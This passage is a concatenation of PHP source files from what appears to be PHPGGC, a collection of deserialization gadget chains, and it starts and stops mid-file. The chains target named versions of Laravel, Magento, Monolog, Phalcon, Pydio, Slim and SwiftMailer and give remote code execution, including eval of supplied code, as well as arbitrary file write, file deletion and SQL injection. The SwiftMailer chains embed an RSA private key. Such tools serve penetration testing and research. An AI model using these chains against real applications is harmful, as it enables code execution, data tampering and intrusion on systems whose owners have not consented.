24 'resolve'
25 ]
26 ]);
27 }
28 }
0 <?php
1
2 namespace Psr\Http\Message
3 {
4 interface StreamInterface{}
5 }
6
7 namespace GuzzleHttp\Psr7
8 {
9 class FnStream implements \Psr\Http\Message\StreamInterface
10 {
11 private $methods;
12
13 public function __construct(array $methods)
14 {
15 $this->methods = $methods;
16
17 foreach ($methods as $name => $fn) {
18 $this->{'_fn_' . $name} = $fn;
19 }
20 }
21
22 /*
23 public function __destruct()
24 {
25 if (isset($this->_fn_close)) {
26 call_user_func($this->_fn_close);
27 }
28 }
29
30 public function close()
31 {
32 return call_user_func($this->_fn_close);
33 }
34 */
35 }
36 }
37
38 namespace GuzzleHttp
39 {
40 class HandlerStack
41 {
42 private $handler;
43 private $stack;
44 private $cached = false;
45
46 function __construct($function, $parameter)
47 {
48 $this->stack = [[$function]];
49 $this->handler = $parameter;
50 }
51
52 /*
53 public function resolve()
54 {
55 if (!$this->cached) {
56 if (!($prev = $this->handler)) {
57 throw new \LogicException('No handler has been specified');
58 }
59
60 foreach (array_reverse($this->stack) as $fn) {
61 $prev = $fn[0]($prev);
62 }
63
64 $this->cached = $prev;
65 }
66
67 return $this->cached;
68 }
69 */
70 }
71 }
0 <?php
1
2 namespace GadgetChain\Laravel;
3
4 class RCE1 extends \PHPGGC\GadgetChain\RCE
5 {
6 public static $version = '5.4.27';
7 public static $vector = '__destruct';
8 public static $author = 'cf';
9
10 public function generate(array $parameters)
11 {
12 $function = $parameters['function'];
13 $parameter = $parameters['parameter'];
14
15 return new \Illuminate\Broadcasting\PendingBroadcast(
16 new \Faker\Generator($function),
17 $parameter
18 );
19 }
20 }
0 <?php
1
2 namespace Illuminate\Broadcasting
3 {
4 class PendingBroadcast
5 {
6 protected $events;
7 protected $event;
8
9 function __construct($events, $cmd)
10 {
11 $this->events = $events;
12 $this->event = $cmd;
13 }
14 }
15 }
16
17
18 namespace Faker
19 {
20 class Generator
21 {
22 protected $formatters;
23
24 function __construct($function)
25 {
26 $this->formatters = ['dispatch' => $function];
27 }
28 }
29 }
0 <?php
1
2 namespace GadgetChain\Laravel;
3
4 class RCE2 extends \PHPGGC\GadgetChain\RCE
5 {
6 public static $version = '5.5.39';
7 public static $vector = '__destruct';
8 public static $author = 'BlackFan';
9
10 public function generate(array $parameters)
11 {
12 $function = $parameters['function'];
13 $parameter = $parameters['parameter'];
14
15 return new \Illuminate\Broadcasting\PendingBroadcast(
16 new \Illuminate\Events\Dispatcher($function, $parameter),
17 $parameter
18 );
19 }
20 }
0 <?php
1
2 namespace Illuminate\Broadcasting
3 {
4 class PendingBroadcast
5 {
6 protected $events;
7 protected $event;
8
9 function __construct($events, $parameter)
10 {
11 $this->events = $events;
12 $this->event = $parameter;
13 }
14 }
15 }
16
17
18 namespace Illuminate\Events
19 {
20 class Dispatcher
21 {
22 protected $listeners;
23
24 function __construct($function, $parameter)
25 {
26 $this->listeners = [
27 $parameter => [$function]
28 ];
29 }
30 }
31 }
0 <?php
1
2 namespace GadgetChain\Laravel;
3
4 class RCE3 extends \PHPGGC\GadgetChain\RCE
5 {
6 public static $version = '5.5.39';
7 public static $vector = '__destruct';
8 public static $author = 'BlackFan';
9 public static $informations = 'This chain triggers an ErrorException after code execution.';
10
11 public function generate(array $parameters)
12 {
13 $function = $parameters['function'];
14 $parameter = $parameters['parameter'];
15
16 return new \Illuminate\Broadcasting\PendingBroadcast(
17 new \Illuminate\Notifications\ChannelManager($function, $parameter)
18 );
19 }
20 }
0 <?php
1
2 namespace Illuminate\Broadcasting
3 {
4 class PendingBroadcast
5 {
6 protected $events;
7
8 function __construct($events)
9 {
10 $this->events = $events;
11 }
12 }
13 }
14
15
16 namespace Illuminate\Notifications
17 {
18 class ChannelManager
19 {
20 protected $app;
21 protected $defaultChannel;
22 protected $customCreators;
23
24 function __construct($function, $parameter)
25 {
26 $this->app = $parameter;
27 $this->customCreators = ['x' => $function];
28 $this->defaultChannel = 'x';
29 }
30 }
31 }
0 <?php
1
2 namespace GadgetChain\Laravel;
3
4 class RCE4 extends \PHPGGC\GadgetChain\RCE
5 {
6 public static $version = '5.5.39';
7 public static $vector = '__destruct';
8 public static $author = 'BlackFan';
9
10 public function generate(array $parameters)
11 {
12 $function = $parameters['function'];
13 $parameter = $parameters['parameter'];
14
15 return new \Illuminate\Broadcasting\PendingBroadcast(
16 new \Illuminate\Validation\Validator($function),
17 $parameter
18 );
19 }
20 }
0 <?php
1
2 namespace Illuminate\Broadcasting
3 {
4 class PendingBroadcast
5 {
6 protected $events;
7 protected $event;
8
9 function __construct($events, $event)
10 {
11 $this->events = $events;
12 $this->event = $event;
13 }
14 }
15 }
16
17
18 namespace Illuminate\Validation
19 {
20 class Validator
21 {
22 public $extensions;
23
24 function __construct($function)
25 {
26 $this->extensions = ['' => $function];
27 }
28 }
29 }
0 <?php
1
2 namespace GadgetChain\Laravel;
3
4 class RCE5 extends \PHPGGC\GadgetChain\RCE
5 {
6 public static $version = '5.8.30';
7 public static $vector = '__destruct';
8 public static $author = 'Phith0n';
9 public static $informations = '
10 Executes given PHP code through eval().
11 Requires Mockery, which is in the require-dev package.
12 ';
13 public static $parameters = [
14 'code'
15 ];
16
17 public function generate(array $parameters)
18 {
19 $code = '<?php ' . $parameters['code'] . ' exit; ?>';
20 return new \Illuminate\Broadcasting\PendingBroadcast($code);
21 }
22 }
0 <?php
1 namespace Illuminate\Bus {
2 class Dispatcher {
3 protected $queueResolver;
4
5 function __construct()
6 {
7 $this->queueResolver = [new \Mockery\Loader\EvalLoader(), 'load'];
8 }
9 }
10 }
11
12 namespace Illuminate\Broadcasting {
13 class PendingBroadcast {
14 protected $events;
15 protected $event;
16
17 function __construct($evilCode)
18 {
19 $this->events = new \Illuminate\Bus\Dispatcher();
20 $this->event = new BroadcastEvent($evilCode);
21 }
22 }
23
24 class BroadcastEvent {
25 public $connection;
26
27 function __construct($evilCode)
28 {
29 $this->connection = new \Mockery\Generator\MockDefinition($evilCode);
30 }
31
32 }
33 }
34
35 namespace Mockery\Loader {
36 class EvalLoader {}
37 }
38
39 namespace Mockery\Generator {
40 class MockDefinition {
41 protected $config;
42 protected $code;
43
44 function __construct($evilCode)
45 {
46 $this->code = $evilCode;
47 $this->config = new MockConfiguration();
48 }
49 }
50
51 class MockConfiguration {
52 protected $name = 'abcdefg';
53 }
54 }
0 <?php
1
2 namespace GadgetChain\Laravel;
3
4 class RCE6 extends \PHPGGC\GadgetChain\RCE
5 {
6 public static $version = '5.5.*';
7 public static $vector = '__destruct';
8 public static $author = 'Phith0n & holyvier';
9 public static $informations = '
10 Executes given PHP code through eval().
11 Requires Mockery, which is in the require-dev package.
12 ';
13 public static $parameters = [
14 'code'
15 ];
16
17 public function generate(array $parameters)
18 {
19 $code = '<?php ' . $parameters['code'] . ' exit; ?>';
20 $expected = new \Illuminate\Broadcasting\PendingBroadcast($code);
21 $res = new \Illuminate\Support\MessageBag($expected);
22 return $res;
23
24 }
25 }
0 <?php
1 namespace Illuminate\Bus {
2 class Dispatcher {
3 protected $queueResolver;
4
5 function __construct()
6 {
7 $this->queueResolver = [new \Mockery\Loader\EvalLoader(), 'load'];
8 }
9 }
10 }
11
12 namespace Illuminate\Broadcasting {
13 class PendingBroadcast {
14 protected $events;
15 protected $event;
16
17 function __construct($evilCode)
18 {
19 $this->events = new \Illuminate\Bus\Dispatcher();
20 $this->event = new BroadcastEvent($evilCode);
21 }
22 }
23
24 class BroadcastEvent {
25 public $connection;
26
27 function __construct($evilCode)
28 {
29 $this->connection = new \Mockery\Generator\MockDefinition($evilCode);
30 }
31
32 }
33 }
34
35 namespace Illuminate\Support {
36 class MessageBag {
37 protected $messages = [];
38 protected $format;
39
40 function __construct($inner) {
41 $this->format = $inner;
42 }
43 }
44 }
45
46 namespace Mockery\Loader {
47 class EvalLoader {}
48 }
49
50 namespace Mockery\Generator {
51 class MockDefinition {
52 protected $config;
53 protected $code;
54
55 function __construct($evilCode)
56 {
57 $this->code = $evilCode;
58 $this->config = new MockConfiguration();
59 }
60 }
61
62 class MockConfiguration {
63 protected $name = 'abcdefg';
64 }
65 }
0 <?php
1
2 namespace GadgetChain\Magento;
3
4 class FW1 extends \PHPGGC\GadgetChain\FileWrite
5 {
6 public static $version = '? <= 1.9.4.0';
7 public static $vector = '__destruct';
8 public static $author = 'eboda';
9 public static $informations = 'The <remote_path> is either relative to the Magento root or absolute. The payload will throw an error during unserialization, but the file is written anyway.';
10
11 public function generate(array $parameters)
12 {
13 $parameters = parent::process_parameters($parameters);
14
15 $file = $parameters['remote_path'];
16 $payload = $parameters['data'];
17
18 return new \Zend_Memory_Manager($file, $payload);
19 }
20 }
0 <?php
1
2 class Zend_Memory_Manager {
3 private $_backend;
4
5 function __construct($file, $payload) {
6 $this->_backend = new Varien_Cache_Backend_Eaccelerator(
7 new Zend_Log (
8 new Zend_CodeGenerator_Php_File($file, $payload)
9 )
10 );
11 }
12 }
13
14 class Varien_Cache_Backend_Eaccelerator {
15 protected $_directives;
16
17 function __construct($x) {
18 $this->_directives = array();
19 $this->_directives["logging"] = true;
20 $this->_directives["logger"] = $x;
21 }
22 }
23
24 class Zend_Log {
25 protected $_writers;
26 protected $_priorities;
27
28 function __construct($writer) {
29 $this->_writers = array();
30 $this->_writers[0] = $writer;
31
32 $this->_priorities = array();
33 $this->_priorities[3] = 1;
34 $this->_priorities[4] = 1;
35 }
36 }
37
38 class Zend_CodeGenerator_Php_File {
39 protected $_filename;
40 protected $_sourceContent;
41 protected $_isSourceDirty;
42
43 function __construct($fn, $payload) {
44 $this->_filename= $fn;
45 $this->_sourceContent = $payload;
46 $this->_isSourceDirty = false;
47 }
48 }
0 <?php
1
2 namespace GadgetChain\Magento;
3
4 # Reference: https://maxchadwick.xyz/blog/using-cve-2016-4010-gadget-chain-in-magento-1
5 class SQLI1 extends \PHPGGC\GadgetChain\SqlInjection
6 {
7 public static $version = '? <= 1.9.4.0';
8 public static $vector = '__destruct';
9 public static $author = 'mpchadwick';
10
11 public function generate(array $parameters)
12 {
13 $sql = $parameters['sql'];
14
15 return new \Credis_Client(
16 new \Mage_Sales_Model_Order_Payment_Transaction(
17 $sql
18 )
19 );
20 }
21 }
0 <?php
1
2 class Credis_Client
3 {
4 protected $redis;
5 protected $connected;
6
7 public function __construct($redis)
8 {
9 $this->connected = true;
10 $this->redis = $redis;
11 }
12 }
13
14 class Mage_Sales_Model_Order_Payment_Transaction
15 {
16 protected $_isFailsafe;
17 protected $_paymentObject;
18 protected $_data;
19 protected $_resourceName;
20 protected $_idFieldName;
21
22 public function __construct($sql)
23 {
24 $this->_isFailsafe = true;
25 $this->_paymentObject = new Mage_Sales_Model_Order_Payment;
26 $this->_data = [
27 'order_id' => 1,
28 'store_id' => new Zend_Db_Expr('1); ' . $sql . ';--')
29 ];
30 $this->_resourceName = 'log/log';
31 $this->_idFieldName = 'id';
32 }
33 }
34
35 class Zend_Db_Expr
36 {
37 protected $_expression;
38
39 public function __construct($expression)
40 {
41 $this->_expression = $expression;
42 }
43 }
44
45 class Mage_Sales_Model_Order_Payment
46 {
47 protected $_idFieldName;
48
49 public function __construct()
50 {
51 $this->_idFieldName = 'id';
52 }
53 }
0 <?php
1
2 namespace GadgetChain\Monolog;
3
4 class RCE1 extends \PHPGGC\GadgetChain\RCE
5 {
6 public static $version = '1.18 <= 1.23';
7 public static $vector = '__destruct';
8 public static $author = 'cf';
9
10 public function generate(array $parameters)
11 {
12 $function = $parameters['function'];
13 $parameter = $parameters['parameter'];
14
15 return new \Monolog\Handler\SyslogUdpHandler(
16 new \Monolog\Handler\BufferHandler(
17 ['current', $function],
18 [$parameter, 'level' => null]
19 )
20 );
21 }
22 }
0 <?php
1
2 namespace Monolog\Handler
3 {
4 class SyslogUdpHandler
5 {
6 protected $socket;
7
8 function __construct($x)
9 {
10 $this->socket = $x;
11 }
12 }
13
14 class BufferHandler
15 {
16 protected $handler;
17 protected $bufferSize = -1;
18 protected $buffer;
19 # ($record['level'] < $this->level) == false
20 protected $level = null;
21 protected $initialized = true;
22 # ($this->bufferLimit > 0 && $this->bufferSize === $this->bufferLimit) == false
23 protected $bufferLimit = -1;
24 protected $processors;
25
26 function __construct($methods, $command)
27 {
28 $this->processors = $methods;
29 $this->buffer = [$command];
30 $this->handler = clone $this;
31 }
32 }
33 }
0 <?php
1
2 namespace GadgetChain\Monolog;
3
4 class RCE2 extends \PHPGGC\GadgetChain\RCE
5 {
6 public static $version = '1.5 <= 1.17';
7 public static $vector = '__destruct';
8 public static $author = 'cf';
9
10 public function generate(array $parameters)
11 {
12 $function = $parameters['function'];
13 $parameter = $parameters['parameter'];
14
15 return new \Monolog\Handler\SyslogUdpHandler(
16 new \Monolog\Handler\BufferHandler(
17 ['current', $function],
18 [$parameter, 'level' => null]
19 )
20 );
21 }
22 }
0 <?php
1
2 namespace Monolog\Handler
3 {
4 class SyslogUdpHandler
5 {
6 # Socket is not declared in earlier versions
7 #protected $socket;
8
9 function __construct($x)
10 {
11 $this->socket = $x;
12 }
13 }
14
15 class BufferHandler
16 {
17 protected $handler;
18 protected $bufferSize = -1;
19 protected $buffer;
20 # ($record['level'] < $this->level) == false
21 protected $level = null;
22 protected $initialized = true;
23 # ($this->bufferLimit > 0 && $this->bufferSize === $this->bufferLimit) == false
24 protected $bufferLimit = -1;
25 protected $processors;
26
27 function __construct($methods, $command)
28 {
29 $this->processors = $methods;
30 $this->buffer = [$command];
31 $this->handler = clone $this;
32 }
33 }
34 }
0 <?php
1
2 namespace GadgetChain\Phalcon;
3
4 class RCE1 extends \PHPGGC\GadgetChain\RCE
5 {
6 public static $version = '<= 1.2.2';
7 public static $vector = '__wakeup';
8 public static $author = 'Raz0r';
9 public static $informations = '
10 This chain does not expect parameters, will eval() any code supplied in
11 php://input (i.e. POST data). Requires allow_url_include = true.
12 ';
13
14 # No parameters expected
15 public static $parameters = [];
16
17 public function generate(array $parameters)
18 {
19 return new \Phalcon\Logger\Adapter\File();
20 }
21 }
0 <?php
1
2 namespace Phalcon\Di{
3 class Service {
4 protected $_shared;
5 protected $_definition;
6
7 public function __construct() {
8 $this->_shared = false;
9 $this->_definition = array(
10 'className' => '\Phalcon\Mvc\View\Engine\Php',
11 'arguments' => array(array('type' => 'parameter', 'value' => 'test')),
12 'calls' => array(
13 array(
14 'method' => 'render',
15 'arguments' => array(
16 array(
17 'type' => 'parameter',
18 'value' => 'php://input'
19 ), array(
20 'type' => 'parameter',
21 'value' => array()
22 )
23 )
24 )
25 )
26 );
27 }
28 }
29 }
30
31 namespace Phalcon {
32 class Di {
33 protected $_services;
34
35 public function __construct() {
36 $this->_services = array('session' => new \Phalcon\Di\Service());
37 }
38 }
39 }
40
41 namespace Phalcon\Http {
42 class Cookie {
43 protected $_dependencyInjector;
44 protected $_name = "test";
45 protected $_expire = 0;
46 protected $_httpOnly = 1;
47 protected $_readed = true;
48 protected $_restored = false;
49
50 public function __construct() {
51 $this->_dependencyInjector = new \Phalcon\Di();
52 }
53 }
54 }
55
56 namespace Phalcon\Logger\Adapter {
57 class File {
58 protected $_transaction;
59 protected $_queue;
60 protected $_formatter;
61 protected $_logLevel;
62 protected $_fileHandler;
63 protected $_path;
64 protected $_options;
65
66 function __construct() {
67 $this->_path = new \Phalcon\Http\Cookie("test");
68 }
69 }
70 }
71
72 ?>
0 <?php
1
2 namespace GadgetChain\Pydio\Guzzle;
3
4 class RCE1 extends \PHPGGC\GadgetChain\RCE
5 {
6 public static $version = '< 8.2.2';
7 public static $vector = '__toString';
8 public static $author = 'us3r777';
9
10 public function generate(array $parameters)
11 {
12 $function = $parameters['function'];
13 $parameter = $parameters['parameter'];
14
15 return new \GuzzleHttp\Psr7\FnStream([
16 '__toString' => [ new \Pydio\Core\Controller\ShutDownScheduler($function, $parameter), 'callRegisteredShutdown']
17 ]);
18 }
19 }
0 <?php
1 namespace Psr\Http\Message
2 {
3 interface StreamInterface{}
4 }
5
6 namespace GuzzleHttp\Psr7
7 {
8 class FnStream implements \Psr\Http\Message\StreamInterface
9 {
10 private $methods;
11
12 public function __construct(array $methods)
13 {
14 $this->methods = $methods;
15
16 foreach ($methods as $name => $fn) {
17 $this->{'_fn_' . $name} = $fn;
18 }
19 }
20 }
21 }
22
23 namespace Pydio\Core\Controller
24 {
25 class ShutdownScheduler
26 {
27 private $callbacks;
28 public function __construct($function, $parameter) {
29 $this->callbacks = [[$function, $parameter]];
30 }
31 }
32 }
33
34
0 <?php
1
2 namespace GadgetChain\Slim;
3
4 class RCE1 extends \PHPGGC\GadgetChain\RCE
5 {
6 public static $version = '3.8.1';
7 public static $vector = '__toString';
8 public static $author = 'cf';
9
10 public function generate(array $parameters)
11 {
12 $function = $parameters['function'];
13 $parameter = $parameters['parameter'];
14
15 return new \Slim\Http\Response($function, $parameter);
16 }
17 }
0 <?php
1
2 namespace Pimple
3 {
4 class Container
5 {
6 private $raw;
7 private $values;
8 private $keys;
9
10 function __construct($array)
11 {
12 $this->keys = $this->raw = $this->values = $array;
13 }
14 }
15 }
16
17 namespace Slim
18 {
19 class App
20 {
21 private $container;
22
23 function __construct($container)
24 {
25 $this->container = $container;
26 }
27 }
28
29 class Container extends \Pimple\Container
30 {
31
32 }
33 }
34
35 namespace Slim\Http
36 {
37 use \Slim\App;
38 use \Slim\Container;
39
40 abstract class Message
41 {
42 protected $headers;
43 protected $body = '';
44
45 function __construct($function, $parameter)
46 {
47 $z = new App(new Container(['has' => $function]));
48 $y = new App($z);
49 $this->headers = new App(new Container(['all' => [$y, $parameter]]));
50 }
51 }
52
53 class Response extends Message
54 {
55
56 }
57 }
0 <?php
1
2 namespace GadgetChain\SwiftMailer;
3
4 class FD1 extends \PHPGGC\GadgetChain\FileDelete
5 {
6 public static $version = '-5.4.12+, -6.2.1+';
7 public static $vector = '__destruct';
8 public static $author = 'dsp25no';
9
10 public function generate(array $parameters)
11 {
12 return new \Swift_ByteStream_TemporaryFileByteStream($parameters['remote_file']);
13 }
14 }
0 <?php
1
2 class Swift_ByteStream_FileByteStream
3 {
4 private $path;
5
6 public function __construct($path)
7 {
8 $this->path = $path;
9 }
10 }
11
12 class Swift_ByteStream_TemporaryFileByteStream extends Swift_ByteStream_FileByteStream
13 {
14 public function __construct($path)
15 {
16 parent::__construct($path);
17 }
18 }
0 <?php
1
2 namespace GadgetChain\SwiftMailer;
3
4 class FW1 extends \PHPGGC\GadgetChain\FileWrite
5 {
6 public static $version = '5.1.0 <= 5.4.8';
7 public static $vector = '__toString';
8 public static $author = 'cf';
9
10 public function process_parameters(array $parameters)
11 {
12 $parameters = parent::process_parameters($parameters);
13
14 # \n must be preceeded by \r as per Swift_Signers_DomainKeySigner,
15 # line 460
16 $parameters['data'] = preg_replace(
17 "/(?!\r)\n/",
18 "\r\n",
19 $parameters['data']
20 );
21
22 return $parameters;
23 }
24
25 public function generate(array $parameters)
26 {
27 $path = $parameters['remote_path'];
28 $a = new \Swift_ByteStream_FileByteStream($path);
29 $b = new \Swift_KeyCache_SimpleKeyCacheInputStream($a);
30 $c = new \Swift_KeyCache_ArrayKeyCache($b);
31 $d = new \Swift_Signers_DomainKeySigner($b);
32 $e = new \Swift_Message($d, $c, $parameters['data']);
33
34 return $e;
35 }
36 }
0 <?php
1
2 class Swift_Mime_HeaderEncoder_Base64HeaderEncoder
3 {
4 }
5
6 class Swift_Mime_Grammar
7 {
8 }
9
10 class Swift_Mime_SimpleHeaderFactory
11 {
12 private $_encoder;
13 private $_paramEncoder;
14 private $_grammar;
15
16 function __construct()
17 {
18 $this->_encoder = new Swift_Mime_HeaderEncoder_Base64HeaderEncoder();
19 $this->_paramEncoder = new Swift_Mime_HeaderEncoder_Base64HeaderEncoder();
20 $this->_grammar = new Swift_Mime_Grammar();
21 }
22 }
23
24 class Swift_Mime_SimpleHeaderSet
25 {
26 private $_factory;
27
28 function __construct()
29 {
30 $this->_factory = new Swift_Mime_SimpleHeaderFactory();
31 }
32 }
33
34 class Swift_Mime_ContentEncoder_RawContentEncoder
35 {
36
37 }
38
39 class Swift_Mime_SimpleMimeEntity
40 {
41 private $_headers;
42 private $_body;
43 private $_encoder;
44 private $_cache;
45 private $_cacheKey = 'something';
46
47 function __construct($cache, $body)
48 {
49 $this->_cache = $cache;
50 $this->_body = $body;
51 $this->_encoder = new Swift_Mime_ContentEncoder_RawContentEncoder();
52 $this->_headers = new Swift_Mime_SimpleHeaderSet();
53 }
54 }
55
56 class Swift_Message extends Swift_Mime_SimpleMimeEntity
57 {
58 private $headerSigners = [];
59 private $bodySigners = [];
60 private $savedMessage = [];
61
62 function __construct($headerSigner, $cache, $body)
63 {
64 parent::__construct($cache, $body);
65 $this->headerSigners = [$headerSigner];
66 }
67 }
68
69 class Swift_Signers_DomainKeySigner
70 {
71 protected $_privateKey = <<<EOF
72 -----BEGIN RSA PRIVATE KEY-----
73 MIICXQIBAAKBgQDRpx277bhMnUSga718Dd7P7ZA+23B8kBzqie3hFklaPFL8R18w
74 bVjHU4VHJq1SIrkbaX9MKnuAl4y9VSruQuJtjb9k1mk1CaWgESwK0ViOx9ugoI4B
75 cmEToyO/gCPKAkF69r7Lfy/M0VOxXH58QURCQU3dS3pm5SP8hhy/ag8fowIDAQAB
76 AoGATbKBcoRHKR2fsVQ8hR0e1jBUpPbuWTuPe9xiLGj2BlsU5ioNPQVJQZXSbuwG
77 j8oOj/opEzErVBzWK9TEdEiVYRhcyPc6awiIulZAp928TRsP0+ZjKOTXtgU40GNf
78 BqdaI8oMgSjeB3mbJP9S9ghVmOEN1AArOPBrWKyIEcDq/gECQQD5C0rb1lYqN7Om
79 yx6gYUXW91xs40PCtNI1EVtFVkVb4B3Dsz3tmi93NxgDK+fJLcid3Yx4PF0v1pm6
80 ysBU2vupAkEA14IrToWxTtzcPI9852TJ4A9IA93Y7AppmWzkxp0uPM0tmRIuOpK+
81 foLPtdLcXE7KAtHoHnccpGSQE33clb5wawJBAOYPHXcZd/2F+UqCZudnFHoxhcr8
82 4nKyUWE+iF70BByMW1KWeQXOIjzxwxfi7jq1NZdHu2Sy9q6jgt3AQI3iwQkCQCy0
83 gP1R+H0OjdU2QsfRfZswMFU1ARm98zfzgeW9l2jfezUEs3hNFp0xz5q9Oh8f7QH2
84 vzsKpHNptQWGF2sszS8CQQCMZbkmUguZhj72vvJ33bbugLtjv2AjTQxwAOAZZF+3
85 6P1HpTADFnZQZbGAmjJNT//JEHs6+TTbb1Wjj+mJHbmR
86 -----END RSA PRIVATE KEY-----
87 EOF;
88 private $_bound;
89
90 function __construct($_bound)
91 {
92 $this->_bound = [$_bound];
93 }
94 }
95
96 class Swift_KeyCache_ArrayKeyCache
97 {
98 private $_contents = [];
99 private $_stream;
100
101 function __construct($_stream)
102 {
103 $this->_stream = $_stream;
104 }
105 }
106
107 class Swift_KeyCache_SimpleKeyCacheInputStream
108 {
109 private $_keyCache;
110 private $_nsKey = 'something';
111 private $_itemKey = 'something';
112 private $_writeThrough = null;
113
114 function __construct($_writeThrough)
115 {
116 $this->_keyCache = new Swift_KeyCache_ArrayKeyCache(null);
117 $this->_writeThrough = $_writeThrough;
118 }
119 }
120
121 abstract class Swift_ByteStream_AbstractFilterableInputStream
122 {
123 }
124
125 class Swift_ByteStream_FileByteStream extends Swift_ByteStream_AbstractFilterableInputStream
126 {
127 private $_path;
128 private $_mode = 'w+b';
129
130 function __construct($_path)
131 {
132 $this->_path = $_path;
133 }
134 }
0 <?php
1
2 namespace GadgetChain\SwiftMailer;
3
4 class FW2 extends \PHPGGC\GadgetChain\FileWrite
5 {
6 public static $version = '6.0.0 <= 6.0.1';
7 public static $vector = '__toString';
8 public static $author = 'cf';
9
10 public function process_parameters(array $parameters)
11 {
12 $parameters = parent::process_parameters($parameters);
13
14 # \n must be preceeded by \r as per Swift_Signers_DomainKeySigner,
15 # line 460
16 $parameters['data'] = preg_replace(
17 "/(?!\r)\n/",
18 "\r\n",
19 $parameters['data']
20 );
21
22 return $parameters;
23 }
24
25 public function generate(array $parameters)
26 {
27 $path = $parameters['remote_path'];
28 $a = new \Swift_ByteStream_FileByteStream($path);
29 $b = new \Swift_KeyCache_SimpleKeyCacheInputStream($a);
30 $c = new \Swift_KeyCache_ArrayKeyCache($b);
31 $d = new \Swift_Signers_DomainKeySigner($b);
32 $e = new \Swift_Message($d, $c, $parameters['data']);
33
34 return $e;
35 }
36 }
0 <?php
1
2 class Swift_Mime_HeaderEncoder_Base64HeaderEncoder
3 {
4 }
5
6 class Swift_Mime_Grammar
7 {
8 }
9
10 class Swift_Mime_SimpleHeaderFactory
11 {
12 private $encoder;
13 private $paramEncoder;
14 private $grammar;
15
16 function __construct()
17 {
18 $this->encoder = new Swift_Mime_HeaderEncoder_Base64HeaderEncoder();
19 $this->paramEncoder = new Swift_Mime_HeaderEncoder_Base64HeaderEncoder();
20 $this->grammar = new Swift_Mime_Grammar();
21 }
22 }
23
24 class Swift_Mime_SimpleHeaderSet
25 {
26 private $factory;
27
28 function __construct()
29 {
30 $this->factory = new Swift_Mime_SimpleHeaderFactory();
31 }
32 }
33
34 class Swift_Mime_ContentEncoder_RawContentEncoder
35 {
36
37 }
38
39 class Swift_Mime_SimpleMimeEntity
40 {
41 private $headers;
42 private $body;
43 private $encoder;
44 private $cache;
45 private $cacheKey = 'something';
46
47 function __construct($cache, $body)
48 {
49 $this->cache = $cache;
50 $this->body = $body;
51 $this->encoder = new Swift_Mime_ContentEncoder_RawContentEncoder();
52 $this->headers = new Swift_Mime_SimpleHeaderSet();
53 }
54 }
55
56 class Swift_Message extends Swift_Mime_SimpleMimeEntity
57 {
58 private $headerSigners = [];
59 private $bodySigners = [];
60 private $savedMessage = [];
61
62 function __construct($headerSigner, $cache, $body)
63 {
64 parent::__construct($cache, $body);
65 $this->headerSigners = [$headerSigner];
66 }
67 }
68
69 class Swift_Signers_DomainKeySigner
70 {
71 protected $privateKey = <<<EOF
72 -----BEGIN RSA PRIVATE KEY-----
73 MIICXQIBAAKBgQDRpx277bhMnUSga718Dd7P7ZA+23B8kBzqie3hFklaPFL8R18w
74 bVjHU4VHJq1SIrkbaX9MKnuAl4y9VSruQuJtjb9k1mk1CaWgESwK0ViOx9ugoI4B
75 cmEToyO/gCPKAkF69r7Lfy/M0VOxXH58QURCQU3dS3pm5SP8hhy/ag8fowIDAQAB
76 AoGATbKBcoRHKR2fsVQ8hR0e1jBUpPbuWTuPe9xiLGj2BlsU5ioNPQVJQZXSbuwG
77 j8oOj/opEzErVBzWK9TEdEiVYRhcyPc6awiIulZAp928TRsP0+ZjKOTXtgU40GNf
78 BqdaI8oMgSjeB3mbJP9S9ghVmOEN1AArOPBrWKyIEcDq/gECQQD5C0rb1lYqN7Om
79 yx6gYUXW91xs40PCtNI1EVtFVkVb4B3Dsz3tmi93NxgDK+fJLcid3Yx4PF0v1pm6
80 ysBU2vupAkEA14IrToWxTtzcPI9852TJ4A9IA93Y7AppmWzkxp0uPM0tmRIuOpK+
81 foLPtdLcXE7KAtHoHnccpGSQE33clb5wawJBAOYPHXcZd/2F+UqCZudnFHoxhcr8
82 4nKyUWE+iF70BByMW1KWeQXOIjzxwxfi7jq1NZdHu2Sy9q6jgt3AQI3iwQkCQCy0
83 gP1R+H0OjdU2QsfRfZswMFU1ARm98zfzgeW9l2jfezUEs3hNFp0xz5q9Oh8f7QH2
84 vzsKpHNptQWGF2sszS8CQQCMZbkmUguZhj72vvJ33bbugLtjv2AjTQxwAOAZZF+3
85 6P1HpTADFnZQZbGAmjJNT//JEHs6+TTbb1Wjj+mJHbmR
86 -----END RSA PRIVATE KEY-----
87 EOF;
88 private $bound;
89
90 function __construct($bound)
91 {
92 $this->bound = [$bound];
93 }
94 }
95
96 class Swift_KeyCache_ArrayKeyCache
97 {
98 private $contents = [];
99 private $stream;
100
101 function __construct($stream)
102 {
103 $this->stream = $stream;
104 }
105 }
106
107 class Swift_KeyCache_SimpleKeyCacheInputStream
108 {
109 private $keyCache;
110 private $nsKey = 'something';
111 private $itemKey = 'something';
112 private $writeThrough = null;
113
114 function __construct($writeThrough)
115 {
116 $this->keyCache = new Swift_KeyCache_ArrayKeyCache(null);
117 $this->writeThrough = $writeThrough;
118 }
119 }
120
121 abstract class Swift_ByteStream_AbstractFilterableInputStream
122 {
123 }
124
125 class Swift_ByteStream_FileByteStream extends Swift_ByteStream_AbstractFilterableInputStream
126 {
127 private $path;
128 private $mode = 'w+b';
129
130 function __construct($path)
131 {
132 $this->path = $path;
133 }
134 }
0 <?php
1
2 namespace GadgetChain\SwiftMailer;
3
4 class FW3 extends \PHPGGC\GadgetChain\FileWrite
5 {
6 public static $version = '5.0.1';
7 public static $vector = '__toString';
8 public static $author = 'cf';
9
10 public function process_parameters(array $parameters)
11 {
12 $parameters = parent::process_parameters($parameters);
13
14 # \n must be preceeded by \r as per Swift_Signers_DomainKeySigner,
15 # line 460
16 $parameters['data'] = preg_replace(
17 "/(?!\r)\n/",
18 "\r\n",
19 $parameters['data']
20 );
21
22 return $parameters;
23 }
24
25 public function generate(array $parameters)
26 {
27 $path = $parameters['remote_path'];
28 $a = new \Swift_ByteStream_FileByteStream($path);
29 $b = new \Swift_KeyCache_SimpleKeyCacheInputStream($a);
30 $c = new \Swift_KeyCache_ArrayKeyCache($b);
31 $d = new \Swift_Signers_DomainKeySigner($b);
32 $e = new \Swift_SignedMessage($d, $c, $parameters['data']);
33
34 return $e;
35 }
36 }
0 <?php
1
2 class Swift_Mime_HeaderEncoder_Base64HeaderEncoder
3 {
4 }
5
6 class Swift_Mime_Grammar
7 {
8 }
9
10 class Swift_Mime_SimpleHeaderFactory
11 {
12 private $_encoder;
13 private $_paramEncoder;
14 private $_grammar;
15
16 function __construct()
17 {
